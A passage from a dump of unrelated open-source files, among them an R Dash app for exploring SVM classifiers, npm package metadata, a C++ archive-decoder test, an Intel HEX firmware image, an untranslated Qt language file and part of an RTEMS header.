Sys.setenv(DASH_ROUTES_PATHNAME_PREFIX = pathPrefix,\n DASH_REQUESTS_PATHNAME_PREFIX = pathPrefix)\n}\n\nsource(\"utils/helperFunctions.R\")\nsource(\"utils/reusableComponents.R\")\n\n# Read in stored datasets (see data/getData.R to see how data was acquired)\ndataList <- readRDS(\"data/data.rds\")\n\napp <- Dash$new(name = \"DashR SVM Explorer\")\n\napp$layout(\n htmlDiv(\n list(\n htmlDiv(\n className = \"banner\",\n children = list(\n htmlDiv(\n className = \"container scalable\",\n children = list(\n htmlH2(\n htmlA(\n \"Support Vector Machine (SVM) Explorer\",\n href = \"https://github.com/plotly/dash-sample-apps/tree/master/apps/dashr-svm\",\n style = list(\n textDecoration = \"none\",\n color = \"inherit\"\n )\n )\n ),\n htmlA(\n htmlImg(src = \"assets/dash-logo.png\"),\n href = \"https://plot.ly/products/dash/\"\n )\n )\n )\n )\n ),\n htmlDiv(\n id = \"body\",\n className = \"container scalable\",\n children = list(\n htmlDiv(\n id = \"app-container\",\n className = \"row\",\n children = list(\n htmlDiv(\n id = \"left-column\",\n className = \"three columns\",\n style = list(\n minWidth = \"24.5%\",\n maxHeight = \"calc(100vh - 85px)\",\n overflowY = \"auto\",\n overflowX = \"hidden\"\n ),\n children = list(\n # card() is defined in utils/reusableComponents.R \n card(\n id = \"first-card\",\n children = list(\n # namedDropdown is defined in utils/reusableComponents.R\n namedDropdown(\n name = \"Select Dataset\",\n id = \"dropdown-select-dataset\",\n options = list(\n list(label = \"Moons\", value = \"moons\"),\n list(\n label = \"Linearly Separable\", \n value = \"linear\"\n ),\n list(label = \"Circles\", value = \"circles\")\n ),\n clearable = FALSE,\n searchable = FALSE,\n value = \"moons\"\n ),\n # namedSlider is defined in utils/reusableComponents.R\n namedSlider(\n name = \"Sample Size\",\n id = \"slider-dataset-sample-size\",\n min = 100,\n max = 500,\n step = 100,\n marks = as.list(\n setNames(\n seq(100, 500, 100),\n seq(100, 500, 100)\n )\n ),\n value = 300\n ),\n namedSlider(\n name = \"Noise Level\",\n id = \"slider-dataset-noise-level\",\n min = 0,\n max = 1,\n step = 0.1,\n marks = as.list(\n setNames(\n seq(0, 1, 0.2),\n seq(0, 1, 0.2)\n )\n ),\n value = 0.2\n )\n )\n ),\n card(\n id = \"button-card\",\n children = list(\n namedSlider(\n name = \"Threshold\",\n id = \"slider-threshold\",\n min = 0,\n max = 1,\n value = 0.5,\n step = 0.1\n ),\n htmlButton(\n \"Reset Threshold\",\n id = \"button-zero-threshold\",\n style = list(display = \"table\", margin = \"0 auto\")\n )\n )\n ),\n card(\n id = \"last-card\",\n children = list(\n namedDropdown(\n name = \"Kernel\",\n id = \"dropdown-svm-parameter-kernel\",\n options = list(\n list(\n label = \"Radial basis function (RBF)\",\n value = \"rbf\"\n ),\n list(label = \"Linear\", value = \"linear\"),\n list(label = \"Polynomial\", value = \"poly\"),\n list(label = \"Sigmoid\", value = \"sigmoid\")\n ),\n value = \"rbf\",\n clearable = FALSE,\n searchable = FALSE\n ),\n namedSlider(\n name = \"Cost (C)\",\n id = \"slider-svm-parameter-C-power\",\n min = -2,\n max = 4,\n marks = as.list(setNames(10 ** (-2:4), -2:4)),\n value = 0\n ),\n formattedSlider(\n id = \"slider-svm-parameter-C-coef\",\n min = 1,\n max = 9,\n value = 1\n ),\n namedSlider(\n name = \"Degree\",\n id = \"slider-svm-parameter-degree\",\n min = 2,\n max = 10,\n value = 3,\n step = 1,\n marks = as.list(\n setNames(\n seq(2, 10, 2),\n seq(2, 10, 2)\n )\n )\n ),\n namedSlider(\n name = \"Gamma\",\n id = \"slider-svm-parameter-gamma-power\",\n min = -5,\n max = 0,\n value = -1,\n marks = as.list(setNames(10 ** (-5:0), -5:0))\n ),\n # formattedSlider is defined in utils/reusableComponents.R\n formattedSlider(\n id = \"slider-svm-parameter-gamma-coef\",\n min = 1,\n max = 9,\n value = 5\n ),\n # namedRadioItems is defined in utils/reusableComponents.R\n namedRadioItems(\n name = \"Shrinking\",\n id = \"radio-svm-parameter-shrinking\",\n labelStyle = list(\n marginRight = \"7px\",\n display = \"inline-block\"\n ),\n options = list(\n list(label = \" Enabled\", value = TRUE),\n list(label = \" Disabled\", value = FALSE)\n ),\n value = TRUE\n )\n )\n ),\n htmlDiv(\n dccMarkdown(\n paste0(\n \"[Click here](https://github.com/plotly/dash-sample-apps/tree/master/apps/dashr-svm)\",\n \" to visit the project repo, \",\n \"and learn about how to use the app\"\n )\n ),\n style = list(\n margin = \"20px 20px\",\n textAlign = \"center\",\n color = \"#a5b1cd\"\n )\n )\n )\n ),\n htmlDiv(\n id = \"div-graphs\",\n children = list(\n htmlDiv(\n className = \"six columns\",\n id = \"svm-graph-container\",\n style = list(marginTop = \"1rem\"),\n children = list(\n dccGraph(\n id = \"main_figure\",\n figure = plot_ly(\n type = \"contour\"\n ) %>%\n layout(\n paper_bgcolor = \"#272b38\",\n plot_bgcolor = \"#272b38\",\n xaxis = list(\n zeroline = FALSE, \n showline = FALSE, \n showticklabels = FALSE, \n showgrid = FALSE\n ),\n yaxis = list(\n zeroline = FALSE, \n showline = FALSE, \n showticklabels = FALSE, \n showgrid = FALSE\n )\n ),\n style = list(\n height = \"calc(100vh - 90px)\",\n margin = \"0 1.66rem\"\n ),\n config = list(displayModeBar = FALSE)\n )\n )\n ),\n htmlDiv(\n className = \"three columns\",\n id = \"graphs-container\",\n style = list(\n minWidth = \"22%\",\n height = \"calc(100vh - 90px)\",\n marginTop = \"1rem\",\n \"-moz-user-select\" = \"none\",\n \"-webkit-user-select\" = \"none\",\n \"-ms-user-select\" = \"none\"\n ),\n children = list(\n dccGraph(\n id = \"graph-line-roc-curve\",\n style = list(height = \"40%\"),\n figure = plot_ly(\n type = \"scatter\", \n mode = \"lines\"\n ) %>%\n layout(\n paper_bgcolor = \"#272b38\",\n plot_bgcolor = \"#272b38\",\n xaxis = list(\n zeroline = FALSE, \n showline = FALSE, \n showticklabels = FALSE, \n showgrid = FALSE\n ),\n yaxis = list(\n zeroline = FALSE, \n showline = FALSE, \n showticklabels = FALSE, \n showgrid = FALSE\n )\n ),\n config = list(displayModeBar = FALSE)\n ),\n dccGraph(\n id = \"graph-pie-confusion-matrix\",\n style = list(height = \"55%\", marginTop = \"5%\"),\n figure = plot_ly(\n type = \"pie\"\n ) %>%\n layout(\n paper_bgcolor = \"#272b38\",\n plot_bgcolor = \"#272b38\",\n xaxis = list(\n zeroline = FALSE, \n showline = FALSE, \n showticklabels = FALSE, \n showgrid = FALSE\n ),\n yaxis = list(\n zeroline = FALSE, \n showline = FALSE, \n showticklabels = FALSE, \n showgrid = FALSE\n )\n ),\n config = list(displayModeBar = FALSE)\n )\n )\n )\n )\n )\n )\n )\n )\n )\n )\n )\n)\n\napp$callback(\n output(\"slider-svm-parameter-gamma-coef\", \"marks\"),\n list(input(\"slider-svm-parameter-gamma-power\", \"value\")),\n function(power){\n s <- 10 ** power\n as.list(\n setNames(\n lapply(seq(1, 10, 2) * s, round, 8), \n seq(1, 10, 2)\n )\n )\n }\n)\n\napp$callback(\n output(\"slider-svm-parameter-C-coef\", \"marks\"),\n list(input(\"slider-svm-parameter-C-power\", \"value\")),\n function(power){\n s <- 10 ** power\n as.list(\n setNames(\n round(seq(1, 10, 2) * s, 8),\n seq(1, 10, 2)\n )\n )\n }\n)\n\napp$callback(\n output(\"slider-threshold\", \"value\"),\n list(input(\"button-zero-threshold\", \"n_clicks\"),\n state(\"main_figure\", \"figure\")),\n function(n_clicks, figure){\n if (!identical(n_clicks, list(NULL))){\n Z <- unlist(figure$data[[1]]$z)\n value <- - (min(Z) / (max(Z) - min(Z)))\n } else {\n value <- 0.4959986285375595\n }\n return(value)\n }\n)\n\napp$callback(\n output(\"slider-svm-parameter-degree\", \"disabled\"),\n list(input(\"dropdown-svm-parameter-kernel\", \"value\")),\n function(kernel){\n kernel != \"poly\"\n }\n)\n\napp$callback(\n output(\"slider-svm-parameter-gamma-coef\", \"disabled\"),\n list(input(\"dropdown-svm-parameter-kernel\", \"value\")),\n function(kernel){\n !kernel %in% c(\"rbf\", \"poly\", \"sigmoid\")\n }\n)\n\napp$callback(\n output(\"slider-svm-parameter-gamma-power\", \"disabled\"),\n list(input(\"dropdown-svm-parameter-kernel\", \"value\")),\n function(kernel){\n !kernel %in% c(\"rbf\", \"poly\", \"sigmoid\")\n }\n)\n\napp$callback(\n output(\"div-graphs\", \"children\"),\n list(\n input(\"slider-svm-parameter-degree\", \"value\"),\n input(\"slider-svm-parameter-C-coef\", \"value\"),\n input(\"slider-svm-parameter-C-power\", \"value\"),\n input(\"slider-svm-parameter-gamma-coef\", \"value\"),\n input(\"slider-svm-parameter-gamma-power\", \"value\"),\n input(\"dropdown-select-dataset\", \"value\"),\n input(\"slider-dataset-noise-level\", \"value\"),\n input(\"dropdown-svm-parameter-kernel\", \"value\"),\n input(\"slider-dataset-sample-size\", \"value\"),\n input(\"slider-threshold\", \"value\"),\n input(\"radio-svm-parameter-shrinking\", \"value\")\n ),\n function(degree,\n C_coef,\n C_power,\n gamma_coef,\n gamma_power,\n dataset,\n noise,\n kernel,\n n_points,\n threshold,\n shrinking){\n set.seed(42)\n if (dataset == \"moons\"){\n noise <- matrix(rnorm( (n_points * 2), sd = noise), ncol = 2)\n dat <- dataList$moons[sample(500, n_points)]\n dat[, c(\"X1\", \"X2\") := dat[, c(\"X1\", \"X2\")] + noise]\n } else if (dataset == \"circles\"){\n noise <- matrix(rnorm( (n_points * 2), sd = noise), ncol = 2)\n dat <- dataList$circles[sample(500, n_points)]\n dat[, c(\"X1\", \"X2\") := dat[, c(\"X1\", \"X2\")] + noise]\n } else if (dataset == \"linear\"){\n noise <- matrix(rnorm( (n_points * 2), sd = noise + 0.05), ncol = 2)\n dat <- dataList$linear[sample(500, n_points)]\n dat[, c(\"X1\", \"X2\") := dat[, c(\"X1\", \"X2\")] + noise]\n }\n C <- C_coef * 10 ** C_power\n gamma <- gamma_coef * 10 ** gamma_power\n # functions to split data and run the svm defined in utils/helperFunctions.R\n splitData <- trainTestSplit(dat)\n svm <- runSVM(\n train_data = splitData[[\"train\"]],\n kernel = kernel,\n degree = degree,\n sigma = gamma,\n C = C,\n shrinking = shrinking\n )\n # plotting functions used here defined in utils/helperFunctions.R\n f <- generate_main_plot(splitData, svm, threshold = threshold)\n pieConf <- pieConfusionMatrix(svm, splitData, threshold = threshold)\n ROC <- rocCurve(splitData, svm)\n list(\n htmlDiv(\n className = \"six columns\",\n id = \"svm-graph-container\",\n style = list(marginTop = \"1rem\"),\n children = list(\n dccGraph(\n id = \"main_figure\",\n figure = f,\n style = list(\n height = \"calc(100vh - 90px)\",\n margin = \"0 1.66rem\"\n ),\n config = list(displayModeBar = FALSE)\n )\n )\n ),\n htmlDiv(\n className = \"three columns\",\n id = \"graphs-container\",\n style = list(\n minWidth = \"22%\",\n height = \"calc(100vh - 90px)\",\n marginTop = \"1rem\",\n \"-moz-user-select\" = \"none\",\n \"-webkit-user-select\" = \"none\",\n \"-ms-user-select\" = \"none\"\n ),\n children = list(\n dccGraph(\n id = \"graph-line-roc-curve\",\n style = list(height = \"40%\"),\n figure = ROC,\n config = list(displayModeBar = FALSE)\n ),\n dccGraph(\n id = \"graph-pie-confusion-matrix\",\n style = list(height = \"55%\", marginTop = \"5%\"),\n figure = pieConf,\n config = list(displayModeBar = FALSE))\n )\n )\n )\n }\n)\n\nif (appName != \"\") {\n app$run_server(host = \"0.0.0.0\", port = Sys.getenv('PORT', 8050)) \n} else {\n app$run_server()\n}\n"} {"text": "Copyright (c) 2010, Google Inc. All rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions are\nmet:\n\n * Redistributions of source code must retain the above copyright\n notice, this list of conditions and the following disclaimer.\n\n * Redistributions in binary form must reproduce the above copyright\n notice, this list of conditions and the following disclaimer in\n the documentation and/or other materials provided with the\n distribution.\n\n * Neither the name of Google nor the names of its contributors may\n be used to endorse or promote products derived from this software\n without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n\"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\nLIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\nA PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\nHOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\nSPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\nLIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\nDATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\nTHEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\nOF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n"} {"text": "{\n \"_from\": \"forever-agent@~0.6.1\",\n \"_id\": \"forever-agent@0.6.1\",\n \"_integrity\": \"sha1-+8cfDEGt6zf5bFd60e1C2P2sypE=\",\n \"_location\": \"/request/forever-agent\",\n \"_phantomChildren\": {},\n \"_requested\": {\n \"type\": \"range\",\n \"registry\": true,\n \"raw\": \"forever-agent@~0.6.1\",\n \"name\": \"forever-agent\",\n \"escapedName\": \"forever-agent\",\n \"rawSpec\": \"~0.6.1\",\n \"saveSpec\": null,\n \"fetchSpec\": \"~0.6.1\"\n },\n \"_requiredBy\": [\n \"/request\"\n ],\n \"_resolved\": \"https://registry.npmjs.org/forever-agent/-/forever-agent-0.6.1.tgz\",\n \"_shasum\": \"fbc71f0c41adeb37f96c577ad1ed42d8fdacca91\",\n \"_shrinkwrap\": null,\n \"_spec\": \"forever-agent@~0.6.1\",\n \"_where\": \"/Users/zkat/Documents/code/npm/node_modules/request\",\n \"author\": {\n \"name\": \"Mikeal Rogers\",\n \"email\": \"mikeal.rogers@gmail.com\",\n \"url\": \"http://www.futurealoof.com\"\n },\n \"bin\": null,\n \"bugs\": {\n \"url\": \"https://github.com/mikeal/forever-agent/issues\"\n },\n \"bundleDependencies\": false,\n \"dependencies\": {},\n \"deprecated\": false,\n \"description\": \"HTTP Agent that keeps socket connections alive between keep-alive requests. Formerly part of mikeal/request, now a standalone module.\",\n \"devDependencies\": {},\n \"engines\": {\n \"node\": \"*\"\n },\n \"homepage\": \"https://github.com/mikeal/forever-agent#readme\",\n \"license\": \"Apache-2.0\",\n \"main\": \"index.js\",\n \"name\": \"forever-agent\",\n \"optionalDependencies\": {},\n \"peerDependencies\": {},\n \"repository\": {\n \"url\": \"git+https://github.com/mikeal/forever-agent.git\"\n },\n \"version\": \"0.6.1\"\n}\n"} {"text": "/* SystemJS module definition */\ndeclare var module: NodeModule;\ninterface NodeModule {\n id: string;\n}\n"} {"text": "// Copyright (C) 2016 by rr-\n//\n// This file is part of arc_unpacker.\n//\n// arc_unpacker is free software: you can redistribute it and/or modify\n// it under the terms of the GNU General Public License as published by\n// the Free Software Foundation, either version 3 of the License, or (at\n// your option) any later version.\n//\n// arc_unpacker is distributed in the hope that it will be useful, but\n// WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n// General Public License for more details.\n//\n// You should have received a copy of the GNU General Public License\n// along with arc_unpacker. If not, see <http://www.gnu.org/licenses/>.\n\n#include \"dec/whale/dat_archive_decoder.h\"\n#include \"test_support/catch.h\"\n#include \"test_support/decoder_support.h\"\n#include \"test_support/file_support.h\"\n\nusing namespace au;\nusing namespace au::dec::whale;\n\nstatic const std::string dir = \"tests/dec/whale/files/dat/\";\n\nstatic void do_test(\n DatArchiveDecoder &decoder,\n const std::string &input_path,\n const std::vector<std::shared_ptr<io::File>> &expected_files)\n{\n const auto input_file = tests::file_from_path(dir + input_path);\n const auto actual_files = tests::unpack(decoder, *input_file);\n tests::compare_files(actual_files, expected_files, true);\n}\n\nTEST_CASE(\"Whale DAT archives\", \"[dec]\")\n{\n SECTION(\"Plain\")\n {\n DatArchiveDecoder decoder;\n decoder.add_file_name(\"123.txt\");\n decoder.add_file_name(\"abc.txt\");\n do_test(\n decoder,\n \"plain.dat\",\n {\n tests::stub_file(\"123.txt\", \"1234567890\"_b),\n tests::stub_file(\"abc.txt\", \"abcdefghijklmnopqrstuvwxyz\"_b),\n });\n }\n\n SECTION(\"Compressed\")\n {\n DatArchiveDecoder decoder;\n decoder.add_file_name(\"123.txt\");\n decoder.add_file_name(\"abc.txt\");\n decoder.set_game_title(\"A Dog Story\");\n do_test(\n decoder,\n \"compressed.dat\",\n {\n tests::stub_file(\"123.txt\", \"1234567890\"_b),\n tests::stub_file(\"abc.txt\", \"abcdefghijklmnopqrstuvwxyz\"_b),\n });\n }\n\n SECTION(\"Compressed, unknown names\")\n {\n DatArchiveDecoder decoder;\n decoder.set_game_title(\"A Dog Story\");\n do_test(\n decoder,\n \"compressed.dat\",\n {\n tests::stub_file(\"0000.txt\", \"1234567890\"_b),\n tests::stub_file(\"0001.txt\", \"abcdefghijklmnopqrstuvwxyz\"_b),\n });\n }\n\n SECTION(\"Fully encrypted\")\n {\n DatArchiveDecoder decoder;\n decoder.add_file_name(\"123.txt\");\n decoder.add_file_name(\"abc.txt\");\n do_test(\n decoder,\n \"encrypted.dat\",\n {\n tests::stub_file(\"123.txt\", \"1234567890\"_b),\n tests::stub_file(\"abc.txt\", \"abcdefghijklmnopqrstuvwxyz\"_b),\n });\n }\n}\n"} {"text": ":107E000001C0B7C0112484B790E89093610010922C\r\n:107E10006100882361F0982F9A70923041F081FFC1\r\n:107E200002C097EF94BF282E80E0C6D0E9C085E05D\r\n:107E30008093810082E08093D00088E18093D1001C\r\n:107E40008FE88093D40086E08093D2008EE0B4D097\r\n:107E5000209A84E02DE53DEF91E03093850020935A\r\n:107E6000840096BBB09BFECF189AA8954091D00095\r\n:107E700047FD02C0815089F793D0813479F490D0C6\r\n:107E8000182FA0D0123811F480E004C088E0113817\r\n:107E900009F083E07ED080E17CD0EECF823419F40B\r\n:107EA00084E198D0F8CF853411F485E0FACF853598\r\n:107EB00041F476D0C82F74D0D82FCC0FDD1F82D0DC\r\n:107EC000EACF863519F484E085D0DECF843691F58B\r\n:107ED00067D066D0F82E64D0D82E00E011E05801AB\r\n:107EE0008FEFA81AB80A5CD0F80180838501FA10D8\r\n:107EF000F6CF68D0F5E4DF1201C0FFCF50E040E0DC\r\n:107F000063E0CE0136D08E01E0E0F1E06F0182E067\r\n:107F1000C80ED11C4081518161E0C8012AD00E5F9A\r\n:107F20001F4FF601FC10F2CF50E040E065E0CE01BB\r\n:107F300020D0B1CF843771F433D032D0F82E30D086\r\n:107F400041D08E01F80185918F0123D0FA94F11070\r\n:107F5000F9CFA1CF853739F435D08EE11AD085E934\r\n:107F600018D087E197CF813509F0A9CF88E024D0D8\r\n:107F7000A6CFFC010A0167BFE895112407B600FCF3\r\n:107F8000FDCF667029F0452B19F481E187BFE89594\r\n:107F900008959091D00095FFFCCF8093D60008956E\r\n:107FA0008091D00087FFFCCF8091D00084FD01C07C\r\n:107FB000A8958091D6000895E0E6F0E098E19083DE\r\n:107FC00080830895EDDF803219F088E0F5DFFFCF80\r\n:107FD00084E1DFCFCF93C82FE3DFC150E9F7CF9122\r\n:027FE000F1CFDF\r\n:027FFE00000879\r\n:0400000300007E007B\r\n:00000001FF\r\n"} {"text": "import {LogManager} from 'aurelia-framework';\nimport {inject} from 'aurelia-framework';\nimport {IdentityService} from './services/identity-service';\nimport {AlertService} from './services/alert-service';\n\nlet log = LogManager.getLogger('Login');\n\n@inject(IdentityService, AlertService)\nexport class Login {\n\n errorMessage = undefined;\n\n constructor(identityService, alertService) {\n this.identityService = identityService;\n this.alertService = alertService;\n }\n\n get org() {\n return this.identityService.org;\n }\n\n login() {\n this.identityService.enroll(this.username, this.password).then(() => {\n this.errorMessage = undefined;\n this.alertService.success(`${this.username} logged in`)\n }).catch(e => {\n this.errorMessage = e;\n this.alertService.error(`cannot enroll, caught ${e}`);\n });\n }\n\n}\n"} {"text": "/**\n * \n * WARNING! This file was autogenerated by: \n * _ _ _ _ __ __ \n * | | | | | | |\\ \\ / / \n * | | | | |_| | \\ V / \n * | | | | _ | / \\ \n * | |_| | | | |/ /^\\ \\ \n * \\___/\\_| |_/\\/ \\/ \n * \n * This file was autogenerated by UnrealHxGenerator using UHT definitions.\n * It only includes UPROPERTYs and UFUNCTIONs. Do not modify it!\n * In order to add more definitions, create or edit a type with the same name/package, but with an `_Extra` suffix\n**/\npackage unreal;\n\n@:glueCppIncludes(\"CoreUObject.h\")\n@:uextern @:uclass extern class UStrProperty extends unreal.UProperty {\n \n}\n"} {"text": "<?xml version=\"1.0\" encoding=\"utf-8\" ?>\r\n<configuration>\r\n <startup> \r\n <supportedRuntime version=\"v4.0\" sku=\".NETFramework,Version=v4.5\" />\r\n </startup>\r\n</configuration>"} {"text": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<!DOCTYPE TS>\n<TS version=\"2.0\" language=\"ca_ES\">\n<defaultcodec>UTF-8</defaultcodec>\n<context>\n <name>KMoreExtendGalleryTile</name>\n <message>\n <source>Browse others</source>\n <translation type=\"unfinished\"></translation>\n </message>\n <message>\n <source>More templates...</source>\n <translation type=\"unfinished\"></translation>\n </message>\n <message>\n <source>Standard screen</source>\n <translation type=\"unfinished\"></translation>\n </message>\n <message>\n <source>Wide screen</source>\n <translation type=\"unfinished\"></translation>\n </message>\n</context>\n<context>\n <name>KSlideLibraryLogic</name>\n <message>\n <source>ContentSlideType_Cover</source>\n <translation type=\"unfinished\"></translation>\n </message>\n <message>\n <source>ContentSlideType_Catalog</source>\n <translation type=\"unfinished\"></translation>\n </message>\n <message>\n <source>ContentSlideType_Main</source>\n <translation type=\"unfinished\"></translation>\n </message>\n <message>\n <source>ContentSlideType_Trans</source>\n <translation type=\"unfinished\"></translation>\n </message>\n <message>\n <source>ContentSlideType_Ending</source>\n <translation type=\"unfinished\"></translation>\n </message>\n <message>\n <source>ContentSlideType_More</source>\n <translation type=\"unfinished\"></translation>\n </message>\n</context>\n<context>\n <name>KTemplateDetailHeaderButton</name>\n <message>\n <source>Back</source>\n <translation type=\"unfinished\"></translation>\n </message>\n</context>\n<context>\n <name>KTemplateDlgBottom</name>\n <message>\n <source>Blank document</source>\n <translation type=\"unfinished\"></translation>\n </message>\n <message>\n <source>From template</source>\n <translation type=\"unfinished\"></translation>\n </message>\n</context>\n<context>\n <name>KTemplateDlgDetailHeader</name>\n <message>\n <source>New</source>\n <translation type=\"unfinished\"></translation>\n </message>\n</context>\n<context>\n <name>KTemplateDlgHeader</name>\n <message>\n <source>New</source>\n <translation type=\"unfinished\"></translation>\n </message>\n <message>\n <source>Standard</source>\n <translation type=\"unfinished\"></translation>\n </message>\n <message>\n <source>Wide screen</source>\n <translation type=\"unfinished\"></translation>\n </message>\n <message>\n <source>Classification</source>\n <translation type=\"unfinished\"></translation>\n </message>\n</context>\n<context>\n <name>KTemplateDownloadFinishTip</name>\n <message>\n <source>apply</source>\n <translation type=\"unfinished\"></translation>\n </message>\n <message>\n <source>template download success</source>\n <translation type=\"unfinished\"></translation>\n </message>\n <message>\n <source>template download failed</source>\n <translation type=\"unfinished\"></translation>\n </message>\n</context>\n<context>\n <name>KTemplateExtendGallery</name>\n <message>\n <source>Recently Used</source>\n <translation type=\"unfinished\"></translation>\n </message>\n <message>\n <source>More templates</source>\n <translation type=\"unfinished\"></translation>\n </message>\n</context>\n<context>\n <name>KWppTemplateItem</name>\n <message>\n <source>Load failed.</source>\n <translation type=\"unfinished\"></translation>\n </message>\n <message>\n <source>Apply to &amp;All Slides</source>\n <translation type=\"unfinished\"></translation>\n </message>\n <message>\n <source>Apply to &amp;Selected Slides</source>\n <translation type=\"unfinished\"></translation>\n </message>\n</context>\n<context>\n <name>KWpsAssistMagicOnTabbarCommand</name>\n <message>\n <source>Quick Slide Design</source>\n <translation type=\"unfinished\"></translation>\n </message>\n</context>\n<context>\n <name>KxInsertPicturesToMultiSlide</name>\n <message>\n <source>Insert Picture To Multiple Slides</source>\n <translation type=\"unfinished\"></translation>\n </message>\n <message>\n <source>Unidentifiable picture format.</source>\n <translation type=\"unfinished\"></translation>\n </message>\n <message>\n <source>The picture you inserted is too large. Please compress it to save the disk space.\nNote that compressing pictures may reduce the quality of your pictures. Do you want to compress it(them)?</source>\n <translation type=\"unfinished\"></translation>\n </message>\n <message>\n <source>All Pictures(*.emf;*.wmf;*.jpg;*.jpeg;*.jpe;*.png;*.bmp;*.gif;*.tif;*.tiff)|*.emf;*.wmf;*.jpg;*.jpeg;*.jpe;*.png;*.bmp;*.gif;*.tif;*.tiff</source>\n <translation type=\"unfinished\"></translation>\n </message>\n <message>\n <source>Windows Enhanced Metafile(*.emf)|*.emf</source>\n <comment>DgUil_EnhancedMetaFiles</comment>\n <translation type=\"unfinished\"></translation>\n </message>\n <message>\n <source>Windows Metafile(*.wmf)|*.wmf</source>\n <translation type=\"unfinished\"></translation>\n </message>\n <message>\n <source>JPEG File InterChange Format(*.jpg;*.jpeg;*.jpe)|*.jpg;*.jpeg;*.jpe</source>\n <translation type=\"unfinished\"></translation>\n </message>\n <message>\n <source>Portable Network Graphics(*.png)|*.png</source>\n <translation type=\"unfinished\"></translation>\n </message>\n <message>\n <source>Windows Bitmap(*.bmp)|*.bmp</source>\n <translation type=\"unfinished\"></translation>\n </message>\n <message>\n <source>Graphics Interchange Format(*.gif)|*.gif</source>\n <translation type=\"unfinished\"></translation>\n </message>\n <message>\n <source>Tag Image File Format(*.tif;*.tiff)|*.tif;*.tiff</source>\n <translation type=\"unfinished\"></translation>\n </message>\n</context>\n</TS>\n"} {"text": "{\n \"_args\": [\n [\n \"yallist@^2.1.2\",\n \"/Users/wuchangfang/Workspace/My/django-beginners-guide/node_modules/lru-cache\"\n ]\n ],\n \"_from\": \"yallist@>=2.1.2 <3.0.0\",\n \"_id\": \"yallist@2.1.2\",\n \"_inCache\": true,\n \"_installable\": true,\n \"_location\": \"/yallist\",\n \"_nodeVersion\": \"8.0.0-pre\",\n \"_npmOperationalInternal\": {\n \"host\": \"packages-12-west.internal.npmjs.com\",\n \"tmp\": \"tmp/yallist-2.1.2.tgz_1489443365033_0.47744474792853\"\n },\n \"_npmUser\": {\n \"email\": \"i@izs.me\",\n \"name\": \"isaacs\"\n },\n \"_npmVersion\": \"4.3.0\",\n \"_phantomChildren\": {},\n \"_requested\": {\n \"name\": \"yallist\",\n \"raw\": \"yallist@^2.1.2\",\n \"rawSpec\": \"^2.1.2\",\n \"scope\": null,\n \"spec\": \">=2.1.2 <3.0.0\",\n \"type\": \"range\"\n },\n \"_requiredBy\": [\n \"/lru-cache\"\n ],\n \"_resolved\": \"https://registry.npmjs.org/yallist/-/yallist-2.1.2.tgz\",\n \"_shasum\": \"1c11f9218f076089a47dd512f93c6699a6a81d52\",\n \"_shrinkwrap\": null,\n \"_spec\": \"yallist@^2.1.2\",\n \"_where\": \"/Users/wuchangfang/Workspace/My/django-beginners-guide/node_modules/lru-cache\",\n \"author\": {\n \"email\": \"i@izs.me\",\n \"name\": \"Isaac Z. Schlueter\",\n \"url\": \"http://blog.izs.me/\"\n },\n \"bugs\": {\n \"url\": \"https://github.com/isaacs/yallist/issues\"\n },\n \"dependencies\": {},\n \"description\": \"Yet Another Linked List\",\n \"devDependencies\": {\n \"tap\": \"^10.3.0\"\n },\n \"directories\": {\n \"test\": \"test\"\n },\n \"dist\": {\n \"shasum\": \"1c11f9218f076089a47dd512f93c6699a6a81d52\",\n \"tarball\": \"https://registry.npmjs.org/yallist/-/yallist-2.1.2.tgz\"\n },\n \"files\": [\n \"iterator.js\",\n \"yallist.js\"\n ],\n \"gitHead\": \"566cd4cd1e2ce57ffa84e295981cd9aa72319391\",\n \"homepage\": \"https://github.com/isaacs/yallist#readme\",\n \"license\": \"ISC\",\n \"main\": \"yallist.js\",\n \"maintainers\": [\n {\n \"name\": \"isaacs\",\n \"email\": \"i@izs.me\"\n }\n ],\n \"name\": \"yallist\",\n \"optionalDependencies\": {},\n \"readme\": \"ERROR: No README data found!\",\n \"repository\": {\n \"type\": \"git\",\n \"url\": \"git+https://github.com/isaacs/yallist.git\"\n },\n \"scripts\": {\n \"postpublish\": \"git push origin --all; git push origin --tags\",\n \"postversion\": \"npm publish\",\n \"preversion\": \"npm test\",\n \"test\": \"tap test/*.js --100\"\n },\n \"version\": \"2.1.2\"\n}\n"} {"text": "/**\n * @file\n *\n * @ingroup ClassicRTEMSWorkspace\n */\n\n/* COPYRIGHT (c) 1989-2008.\n * On-Line Applications Research Corporation (OAR).\n *\n * The license and distribution terms for this file may be\n * found in the file LICENSE in this distribution or at\n * http://www.rtems.org/license/LICENSE.\n */\n\n#ifndef _RTEMS_RTEMS_SUPPORT_H\n#define _RTEMS_RTEMS_SUPPORT_H\n\n#include <rtems/rtems/types.h>\n#include <rtems/config.h>\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n/**\n * @addtogroup ClassicTasks\n */\n/**@{**/\n\n/**\n * @brief Returns the number of micro seconds for the milli seconds value @a _ms.\n */\n#define RTEMS_MILLISECONDS_TO_MICROSECONDS(_ms) ((_ms) * 1000UL)\n\n/**\n * @brief Returns the number of ticks for the milli seconds value @a _ms.\n */\n#define RTEMS_MILLISECONDS_TO_TICKS(_ms) \\\n (RTEMS_MILLISECONDS_TO_MICROSECONDS(_ms) / \\\n 